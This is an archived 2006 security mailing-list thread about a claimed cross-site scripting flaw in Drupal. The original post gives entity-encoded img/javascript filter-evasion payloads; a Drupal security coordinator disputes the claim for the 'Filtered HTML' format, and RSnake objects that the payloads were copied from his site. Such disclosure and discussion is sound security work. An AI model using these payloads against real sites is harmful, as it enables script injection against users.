Drupal all versiyon xss cehennem.org

[liz0@bsdmail.com]

Drupal all versiyon xss
----------------------------------------------------
site:http://www.drupal.org

Hex, Base64, Decimal site: http://liz0zim.no-ip.org/code.php
--------------------------------------------------

img tag : on

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

Decimal Value: HTML (without semicolons)

<img src=javascript:alert('XSS')> = <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Decimal Value: HTML (with semicolons)

<img src=javascript:alert('XSS')> = <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


---------------------------------------------------------------------------------------------------------------------------------------------------------------
example:
post message :<img src=javascript:alert('XSS')> not Vulnerable but <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41> Vulnerable

post mesage :<img src=javascript:alert('XSS')> not Vulnerable but <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> Vulnerable


---------------------------------------------------------

Credit:Liz0ziM
mail:liz0@bsdmail.com
www.biyo.tk , www.cehennem.org

Gretz:wannacut,The_Bekir,Codexploder'tq,furtivo,R0 0t3rr0r,disconnect,cyberlord and all friend

-----------------------------------------------------------
Source:

http://liz0zim.no-ip.org/drupal.txt

------------------------------------------------------------

[security@drupal.org]

I have inspected the latest XSS filter mechanism of Drupal which is included in 4.5.6 and 4.6.4 versions and onward and both the decimal and the hexadecimal version is escaped when choosing the "Filtered HTML" format. The "Full HTML" format, as its name
implies, does not filter HTML and its documented to be so.

I am not aware of any contact attempts w/ the security team before mailing this report to the list.

Regards

Karoly Negyesi
Security team coordinator

[RSnake]

Hi, it would be nice if you could give me some props next time,
as this code is pulled straight from my site. I don't mind if you
re-use it, but just plain ripping code from my site isn't super cool.

On Mon, 2 Jan 2006 liz0@bsdmail.com wrote:

> Drupal all versiyon xss
> ----------------------------------------------------
> site:http://www.drupal.org
>
> Hex, Base64, Decimal site: http://liz0zim.no-ip.org/code.php
> --------------------------------------------------
>
> img tag : on
>
> ---------------------------------------------------------------------------------------------------------------------------------------------------------------------
>
> Decimal Value: HTML (without semicolons)
>
> <img src=javascript:alert('XSS')> = <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>
> ---------------------------------------------------------------------------------------------------------------------------------------------------------------
> Decimal Value: HTML (with semicolons)
>
> <img src=javascript:alert('XSS')> = <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
>
>
> ---------------------------------------------------------------------------------------------------------------------------------------------------------------
> example:
> post message :<img src=javascript:alert('XSS')> not Vulnerable but <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41> Vulnerable
>
> post mesage :<img src=javascript:alert('XSS')> not Vulnerable but <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> Vulnerable
>
>
> ---------------------------------------------------------
>
> Credit:Liz0ziM
> mail:liz0@bsdmail.com
> www.biyo.tk , www.cehennem.org
>
> Gretz:wannacut,The_Bekir,Codexploder'tq,furtivo,R0 0t3rr0r,disconnect,cyberlord and all friend
>
> -----------------------------------------------------------
> Source:
>
> http://liz0zim.no-ip.org/drupal.txt
>
> ------------------------------------------------------------
>
>


-R